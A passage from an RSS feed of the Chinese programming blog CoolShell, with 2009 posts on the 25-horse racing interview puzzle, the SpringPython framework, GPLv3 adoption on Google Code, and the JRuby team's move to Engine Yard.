href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"Bret Victor &#8211; Inventing on Principle\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6775.html\" class=\"wp_rp_title\">Bret Victor &#8211; Inventing on Principle</a></li><li ><a href=\"https://coolshell.cn/articles/3649.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"TDD并不是看上去的那么美\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3649.html\" class=\"wp_rp_title\">TDD并不是看上去的那么美</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1212.html\">编程引言补充</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1212.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>面试题：赛马问题</title>\n\t\t<link>https://coolshell.cn/articles/1202.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1202.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 30 Jul 2009 14:35:35 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1202</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>据说，这是Google的面试题。面试题目如下： 一共有25匹马，有一个赛场，赛场有5个赛道，就是说最多同时可以有5匹马一起比赛。假设每匹马都跑的很稳定，不用任何...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1202.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1202.html\">面试题：赛马问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/Question.jpg\"></a>据说，这是Google的面试题。面试题目如下：</p>\n<p style=\"padding-left: 30px; text-align: left;\"><span style=\"color: #008000;\"><strong><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/Question.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"Question\" src=\"https://coolshell.cn/wp-content/uploads/2009/07/Question.jpg\" alt=\"Question\" width=\"158\" height=\"158\" /></a>一共有25匹马，有一个赛场，赛场有5个赛道，就是说最多同时可以有5匹马一起比赛。假设每匹马都跑的很稳定，不用任何其他工具，只通过马与马之间的比赛，试问，最少得比多少场才能知道跑得最快的5匹马？（</strong>不能使用撞大运的算法<strong>）</strong></span></p>\n<p>很明显这是一个算法题，网上有很多贴子在讨论这个问题，不过都没有给出一个明确的答案。我想了想，想到下面的一个算法：</p>\n<p style=\"padding-left: 30px;\">1）分成5组A，B，C，D，E，比五场。然后根据每场结果分别给这五组内的五匹马排序（从快到慢）。<br />\n2）每组的头名再赛一场，取走第一名，然后该组第二名顶上。<br />\n3）重复第二步，直到选出前5名。</p>\n<p>这个算法是比较笨的算法，总计需要<strong>赛10次，</strong>这个算法应该是万无一失的。现在的问题的就，如何优化这个算法，想了想，的确是有优化的空间的。也就是说，是可以少于10次的。</p>\n<p><span id=\"more-1202\"></span></p>\n<p>想了一想，上面的那个算法自从第6次开始就使用5个排序数组的头名做“冒泡法”，总是挑一个最优秀的出来，其实，<strong><span style=\"color: #800000;\">在第6次以后除了挑出最优秀的，我们还可以在每次比赛后淘汰一些速度不行的</span></strong>，淘汰的马匹数自然会比选出的更多，所以，一方面在找，另一方面在淘汰，找出前5名的速度应该会更快。</p>\n<p>比如：我们假设比赛完第六场后，我们得到下面的排序：（每组排序是——快马从左到右，各组头名的排序是——快马从上到下）</p>\n<p style=\"padding-left: 30px;\">A组 A1 A2 A3 A4 A5<br />\nB组 B1 B2 B3 B4 B5<br />\nC组 C1 C2 C3 C4 C5<br />\nD组 D1 D2 D3 D4 D5<br />\nE组 E1 E2 E3 E4 E5</p>\n<p>这样，我们不但知道，A1是25匹马里最快的马，而且我们可以淘汰近一半的马，比如E2，E3，E4，E5就可以全部淘汰了，为什么呢，因为比E2快的马有A1,B1,C1,D1,E1这五匹马，所以，E2后面的马是无法进入前五名了；同理，D3和其后面的也进入不了前5；同理，C4，C5，B5都可以淘汰。</p>\n<p>于是，在第六轮后我们可以得知，除了A1外的Top 4必然在下面这些马中：</p>\n<p>A组  A2 A3 A4 A5<br />\nB组 B1 B2 B3 B4 <br />\nC组 C1 C2 C3 <br />\nD组 D1 D2 <br />\nE组 E1</p>\n<p>接下来的过程应该不必我多说了。重复前面的方法，尽可能淘汰无法进前N名的马，于是后面的马就越来越少，你所需要的比赛也会越来越少。</p>\n<p>那么，对于这个题，聪明的你知道最少要比赛几场了吗？</p>\n<p>举一反三，如果有64匹马，8个赛道呢？不失一般性，如果有N匹马，M个赛道呢？N = M*M，那么公式是什么呢？</p>\n<p>期待你的答案！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4429.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/Question-150x150.jpg\" alt=\"面试题：火车运煤问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4429.html\" class=\"wp_rp_title\">面试题：火车运煤问题</a></li><li ><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"又一个有趣的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_title\">又一个有趣的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"“火柴棍式”程序员面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3961.html\" class=\"wp_rp_title\">“火柴棍式”程序员面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"输出从1到1000的数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_title\">输出从1到1000的数</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1202.html\">面试题：赛马问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1202.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>93</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Python也Spring了</title>\n\t\t<link>https://coolshell.cn/articles/1204.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1204.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 30 Jul 2009 12:43:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Spring]]></category>\n\t\t<category><![CDATA[SpringPython]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1204</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>没想到啊，Python也有Spring的框架了，看看SpringPython项目主页（http://springpython.webfactional.com/...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1204.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1204.html\">Python也Spring了</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"http://springpython.webfactional.com/reference/html/images/spring_python_white.png\" alt=\"\" width=\"265\" height=\"90\" />没想到啊，Python也有Spring的框架了，看看SpringPython项目主页（<a href=\"http://springpython.webfactional.com/\">http://springpython.webfactional.com/</a>）。这个项目的Leader是这样说的：Spring Python是基于Java的Spring框架（Spring Framework）和Spring安全（Spring Security）的一个分支，它以Python语言为目标。Spring提供了许多有用的特征功能，同样地这些特征功能在Python下也应当有效。&#8211; Greg Turnquist</p>\n<p><span id=\"more-1204\"></span></p>\n<p>从这个项目的主页可以看到有下面这些Key features：</p>\n<ul>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/objects.html\">反转控制IoC</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/aop.html\">面向方面的编程(AOPAspect-oriented Programming)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/dao.html\">数据库访问 (Data Access)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/transaction.html\">事务管理 (Transaction Management)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/security.html\">安全性 (Security)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/remoting.html\">远程分布式 (Remoting)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/plugins.html\">插件/命令行工具 (Plug-ins/command-line tool)</a> </li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/samples.html\">演示示例</a> \n<ul>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/samples.html#samples-petclinic\">PetClinic</a> &#8211; 一个怎样使用框架的例子.</li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/samples.html#samples-springwiki\">Spring Wiki</a> &#8211; Wikis是存储和管理内容的有效方式!</li>\n<li><a href=\"https://coolshell.cn/wp-admin/reference/html/samples.html#samples-springbot\">Spring Bot</a> &#8211; 使用框架建立管理IRC通道的例子。</li>\n</ul>\n</li>\n</ul>\n<p>看上去好像不错，不过细想一下，是不是有点多余，有点画蛇添足啊？反正我有一种比较怪怪的感觉。不过10年前有人问我搜索引擎怎么样？我当时也觉得那个东西很无聊，呵呵。让我们看看未来这个东西是否真的能够进入企业级的解决方案。不过目前我们的Python社区好像几乎没有什么反应。</p>\n<p>欢迎你留下你的看法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1204.html\">Python也Spring了</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1204.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>GPLv3的在开源社区中的占有量</title>\n\t\t<link>https://coolshell.cn/articles/1197.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1197.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 28 Jul 2009 09:46:21 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[GPLv3]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1197</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2007年7月，GPLv3 发布，当时有164个项目加入，一年后，有大约两千个项目使用GPLv3协议，今天，Google开源programs office ma...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1197.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1197.html\">GPLv3的在开源社区中的占有量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"http://www.gnu.org/graphics/heckert_gnu.small.png\" alt=\"\" width=\"145\" height=\"140\" />2007年7月，GPLv3 发布，当时有164个项目加入，一年后，有大约两千个项目使用GPLv3协议，今天，Google开源programs office manager <a href=\"http://sites.google.com/a/dibona.com/dibona-wiki/Home/Biographies-and-Photos\">Chris DiBona</a>向大家 <a href=\"http://twitter.com/dhohndel/status/2800839235\">宣布</a> 在Google 开源项目中，使用GPLv3的项目至少有 56,000个。当然，这只是计算了在 <a href=\"http://code.google.com/\">Google Code</a> 中的项目。</p>\n<p>对于今天有 225,000 项目的 Google Code，这四分之一的 GPLv3 也是一个不小的数目了。如果我们假设Sourceforge.net 和 Codehaus 也有和Google Code相似的 GPLv3 比率的话，那么，今天使用 GPLv3 的项目将是一个很大的数量。</p>\n<p><span id=\"more-1197\"></span></p>\n<p>这个数据是有意义的，尤其对于那些还在激活的项目，因为Google Code上的活跃的项目比Sourceforge要高得多，在Sourceforge上，估计只有12%的项目还处理激活状态（剩下的88%都是处理长期没有更新，当然也就一直在使用老版本的协议）。虽然和GPLv2比起，GPLv3还很少，但数量已经很大了。</p>\n<p>以前写过一篇关于GPLv3的文章《<a href=\"http://blog.csdn.net/haoel/archive/2007/07/17/1696333.aspx\">GPLv3：大教堂和集市的新一轮对抗</a>》，有兴趣的读者不妨一读。</p>\n<p>下面是开源license的一个比例（时间：2009年7月），仅供参考：</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/07/GPL.png\"><img decoding=\"async\" loading=\"lazy\" title=\"GPL\" src=\"https://coolshell.cn/wp-content/uploads/2009/07/GPL.png\" alt=\"GPL\" width=\"456\" height=\"259\" /></a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8460.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/go2-150x150.jpg\" alt=\"Go 语言简介（上）— 语法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8460.html\" class=\"wp_rp_title\">Go 语言简介（上）— 语法</a></li><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li><li ><a href=\"https://coolshell.cn/articles/3161.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"AES加密算法动画演示\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3161.html\" class=\"wp_rp_title\">AES加密算法动画演示</a></li><li ><a href=\"https://coolshell.cn/articles/556.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"VI的一些小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/556.html\" class=\"wp_rp_title\">VI的一些小技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1197.html\">GPLv3的在开源社区中的占有量</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1197.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>JRuby核心成员投奔Engine Yard</title>\n\t\t<link>https://coolshell.cn/articles/1194.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1194.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 28 Jul 2009 08:46:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[JRuby]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1194</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>新闻来源：Computer World Sun公司的JRuby团队正在离开他们的老东家Sun，投奔Engine Yard公司。他们声称这是因为Oracle并购S...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1194.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1194.html\">JRuby核心成员投奔Engine Yard</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>新闻来源：<a href=\"http://www.computerworld.com/s/article/9135958/Sun_s_JRuby_team_jumps_ship_to_Engine_Yard?taxonomyId=57&amp;pageNumber=1\">Computer World</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"http://media.xircles.codehaus.org/_projects/jruby/_logos/medium.png\" alt=\"\" width=\"223\" height=\"100\" />Sun公司的JRuby团队正在离开他们的老东家Sun，投奔Engine Yard公司。他们声称这是因为Oracle并购Sun后的前途不明朗的原因。Sun的新闻发言人已确定了这一消息的真实性。</p>\n<p>在两年半前，Sun招募了Charles Nutter 和Thomas Enebo，这两人叫“the JRuby Guys”，他们主要实现在Java虚似机上运行Ruby，后来Sun又招了一个叫Nick Sieger的人。今天，这三个核心开发人员会在下周一的时候到新公司上班。他们认为Oracle可能会不支持他们继续在JVM上运行Ruby这个事情，而JRuby又是他们的未来。</p>\n<p><a href=\"http://www.engineyard.com/\">Engine Yard</a>。成立仅两年、总部设在旧金山的Engine Yard，主要业务是为使用开放原始码开发环境Ruby on Rails的开发者处理系统布署和作业等事项。该公司协助开发者透过所谓的云计算，或第三方数据中心，执行应用软件。Engine Yard曾经从New Enterprise Associates和Amazon.com两家公司募得投资1500万美元。该公司正在进行云计算平台上的Rails计划。</p>\n<p><span id=\"more-1194\"></span></p>\n<p>EngineYard公司的市场部副总裁Michael Mullany说，他们这所以招募了他们，是因为他们觉得JRuby的用户数量在增加，而他们公司并没有这方面的专业知识。并且，展示了JRuby在过去一年有40%的增涨态势。这个副总裁还说，JRuby的下一个阶段会是一个专业的开源的JRuby，但技术支持将是收费的。</p>\n<p>Nick Sieger在Sun公司是 <a href=\"http://kenai.com/\">Kenai</a> 项目的leader，他说下一代的JRuby将会允许开发人员以云的方式host他们的应用，就像SourceForge一样。</p>\n<p>JRuby 的第四个核心开发者 Ola Bini，自从去年被ThoughtWorks招募后，还在那里工作。</p>\n<p>Nutter说，JRuby的下一个版本是1.4，会在今年9月份发布，在这个版本，他们会让JRuby成为JVM上的一等公民，并让其成为JVM上最好的语言。当然，也会处理一些和Engine Yard相关的东西。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"五大基于JVM的脚本语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_title\">五大基于JVM的脚本语言</a></li><li ><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"如何设计“找回用户帐号”功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_title\">如何设计“找回用户帐号”功能</a></li><li ><a href=\"https://coolshell.cn/articles/1178.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/Internet-150x150.jpg\" alt=\"Internet 技术演变图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1178.html\" class=\"wp_rp_title\">Internet 技术演变图</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/780.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何知道某网站运行在GAE上\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/780.html\" class=\"wp_rp_title\">如何知道某网站运行在GAE上</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1194.html\">JRuby核心成员投奔Engine Yard</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 